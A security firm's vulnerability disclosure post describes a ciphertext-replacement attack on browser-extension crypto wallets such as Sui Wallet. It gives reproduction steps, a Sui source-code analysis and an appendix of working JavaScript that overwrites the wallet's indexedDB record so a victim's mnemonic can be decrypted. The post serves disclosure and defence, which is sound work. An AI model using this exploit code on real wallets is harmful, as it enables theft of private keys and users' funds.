EXVUL is a leading cyber security company that provides top-tier security services and consumer- oriented security products. Our security experts come from prestigious backgrounds, including Huawei, Qihoo 360, and top Web3 security firms. We boast an academic team consisting of cybersecurity PhDs with extensive expertise in cyber security, as well as traditional cyber security skills. Our strengths lie in vulnerability discovery , on-chain threat monitoring, prevention, and cutting-edge research in cyber security technologies, including AI security, automated vulnerability discovery, and AI for cyber Security. Our team members have been at the forefront of discovering numerous vulnerabilities in projects such as the Move language, Tron, EOS, Sui, Ripple etc. We have also identified vulnerabilities in the Windows kernel, Chrome browser, iOS/MacOS, and received numerous CVE acknowledgments. Additionally, we hold over 10 security-related patents. Our company offers comprehensive cyber security services, including code auditing, L1/L2 protocol audits, ZKP cryptography code audits, wallet security audits, exchange security services, threat intelligence, and more.
Written by Nolan Wang, EXVUL
Abstract
Many chrome extension wallets use indexedDB to store encryption key data, but there exists a cipher text replacement attack. The attacker can replace the victim’s wallet cipher text, then decrypt the victim’s wallet and steal the user’s private key or mnemonic phrase. There are many existing wallets that contain this vulnerability, which includes coinbase, crypto.com, sui wallet, myetherwallet etc( sorry I know because I have tested these wallets).
I have reported this vulnerability to all of them, but they did not think that it is a vulnerability because the attacker will need physical access to the wallet. Thus, they will not fix it and such a bug still exists presently.
Despite their beliefs, I still feel that this is a security vulnerability that will pose a potential security threat to user assets. I am now posting the details of the bug, so that the vendor will pay attention to this very issue, and take the security of user assets seriously.
In the video below, I will demonstrate the details of the bug.
pls see the attack video demo:
Reproduction:
- the attacker generate a SUI wallet account (Wallet A), remember the wallet password
- the attacker dump Wallet A’s indexedDB data with the key: SuiWallet DB=>accountSources the data will look like this below:
{
"key": "fe62e6a9-67df-48f3-be6f-ca07cc15cb6f",
"value": {
"id": "fe62e6a9-67df-48f3-be6f-ca07cc15cb6f",
"type": "mnemonic",
"encryptedData": "{\"data\":\"NscdxKs4flt5BjG5rojJNfyyqgUOseQWqwm1gqCVFgWAVzvz4GOl5RaFPUGOKKnSzG7tgkj4i4Jwy/zRP0XQsWdfKByUfXxfamD6IvygGjduHzRoH5XkA6XbMk5Vbe5YTixI9GWjSB4uHn0JfvH6ubOQGaT/Vh70DOr0zwEYcIfp/KLEMBoO5NvkjFbDSFA1ZWOkET8zicv6CpmiVmOLpgTh8s909oa+qFYAGHoEP8dNSZfdbInJ/UlG3jnM2qisVtAL5xWc476Z75GdelsuiOIquXZLog==\",\"iv\":\"xfm3nikK1EmF5kunBM7YqQ==\",\"salt\":\"nmQsmyqYcDDEJRDyqqtTz4gpUEgj9B6xUGykbiv8sXA=\"}",
"sourceHash": "591462223e7a4debc641d19c32094b509060b40e6d147c1ff4745cd13b15542d",
"createdAt": 1702355069267
}
}
3.now, when the victim’s Sui wallet (Wallet B) is unlocked, the attacker will export each passphrase or private key one time, and replace Wallet B Wallet B’s accountSources data of indexedDB with Wallet A’s accountSources data. NOTE: only the victim’s encryptedData & sourceHash is replaced with the attacker’s encryptedData & sourceHash data. If you replace the other key and value, you will not be able to reproduce the vulnerability.
4. click Verify below, and then input Wallet A’s password ,
5.Congrats. if there is no anything wrong, it will decrypt the victim’s private key or passphrase.
vulnerability code analysis
Sui wallet source code:
https://github.com/MystenLabs/sui/tree/cae95c6bb9ef163e99a8f6f95d7e5bacc85aded6/apps/wallet
1.this function is used for export passphrase,
export function useExportPassphraseMutation() {
const backgroundClient = useBackgroundClient();
return useMutation({
mutationKey: ['export passphrase'],
mutationFn: async (args: MethodPayload<'getAccountSourceEntropy'>['args']) =>
entropyToMnemonic(
toEntropy((await backgroundClient.getAccountSourceEntropy(args)).entropy),
).split(' '),
});
}
And then we can see entropy is converted to mnemonic using the english wordlist.
/**
* Converts entropy (byte array) to mnemonic using the english wordlist.
*
* @param entropy Uint8Array
*
* @return the mnemonic as string
*/
export function entropyToMnemonic(entropy: Uint8Array): string {
return bip39.entropyToMnemonic(entropy, wordlist);
}
2.so how to get entropy?
Here the sui wallet use the function getEntropy to get the entropy:
async getEntropy(password?: string) {
let data = await this.getEphemeralValue();
if (password && !data) {
data = await this.#decryptStoredData(password);
}
if (!data) {
throw new Error(`Mnemonic account source ${this.id} is locked`);
}
return data.entropyHex;
}
From the code above, we know there are two situations:
- use getEphemeralValue function (an asynchronous function) that retrieves entropy from the session storage.
- If no entropy data exist will try to decrypt the indexedDB data use decryptStoredData and get the entropy.
So in here, we can replace the indexedDB data, and the session data will still exist, Therefore, the situation 1 is satisfied and the wallet will directly get entropy data from the session. And because the session has not changed , which means the victim’s entropy data is still present, the wallet can directly extract the victim’s wallet passphrase.
Attack conditions:
- Vitcitm’s wallet is unlocked and has been export the private key or passphrase more than one time
Why did I choose to make this vulnerability public?
As mentioned before, I reported the vulnerability to these vendors two months ago, but they have not fixed it yet. I also told them that I would make it public, but they did not reply to me, so in order to force the vendors to fix it as soon as possible and to make people in the community aware of the security risks that their wallets may face, and to prevent other hackers from exploiting this vulnerability and stealing user assets, I think I should disclose this vulnerability.
Disclosure of 0day vulnerabilities is nothing new in the traditional network security field.
The wallets (to the best of my understanding) that contains this vulnerability:
0.Sui Wallet extension
1.Coinbase Wallet extension
2.Crypto.com wallet extension
3.MyEtherWallet extension
will be affected. I know there could be other wallets that may also contain this vulnerability, but I don’t have sufficient time and bandwidth to check everyone. If you find any affected wallets, please don’t hesitate to tell me so that I can update this article. If the manufacturer wants to know how to fix it, you can also send me an email: nolan@exvul.com
Conclusion
In here I only use Sui Wallet as a demo. Other wallets that I mentioned above, can also reproduce the same vulnerability. So I will not analyze them in here. You can try it for yourself and observe the vulnerability (the ease by which the user’s private keys can be stolen). So I think the vendor should this issue seriously as it concerns the user’s digiral assets, and fix this issue as quickly as possible.
appendix
the javascript code, replace the accountSource data:
use this code and v8 vulnerability can make remote exploit.
var request = indexedDB.open("SuiWallet DB", 20);
request.onerror = function(event) {
console.log("Error opening database");
};
request.onsuccess = function(event) {
var db = event.target.result;
//console.log(db)
// // Create a transaction
var transaction = db.transaction(["accountSources"],'readwrite');
transaction.onerror = function(event) {
console.log("Error starting transaction");
};
// Access the object store
var objectStore = transaction.objectStore("accountSources");
// "37f9c921-4542-4167-96c3-aab364a8350b"
console.log(objectStore)
//var index=objectStore.index('type')
var updateRequest = objectStore.put({
"id": "37f9c921-4542-4167-96c3-aab364a8350b",
"type": "mnemonic",
"encryptedData": "{\"data\":\"ZjT6isSqQUBG1S3s7kBQq6nDSS9KfaEfe4K2LUgelVesibEFu8od/u5X7n6nZQE0/EaX3JYAj8y5uufwG1p6Nx7PiJWDnxVZbZaiumj7FnWWJJE9BxQvKQ7vXOuKDgdIXvEuXk6ElFC5yGJ4PbHO9NlPMURh6R6QGXA4jleH9sePKa0WRJE8BdrsR7T9+o0hOtRrONphwYDMHtzSgqvuVGRY2XWhAYZEEDk8XF5SN6bAHhIML1RHFBptOJ2ibutS+v2jykNbCogMTGPil+qTx3LD07WYcA==\",\"iv\":\"eNXMiP0JXe1HC9IE/74oDw==\",\"salt\":\"d7w9KYw4TdnnXSN10nV2ZNgyAnPZZa3dBrb9BgrtWWY=\"}",
"sourceHash": "deb7ac7e60afed5b064028ce232138e654f5ccad3356f771eac86bacffcba7e8",
"createdAt": 1378274583
});
updateRequest.onsuccess = function(event) {
console.log("Data updated successfully");
};
updateRequest.onerror = function(event) {
console.log("Error updating data");
};
transaction.oncomplete = function(event) {
// Close the transaction and the database
db.close();
};
};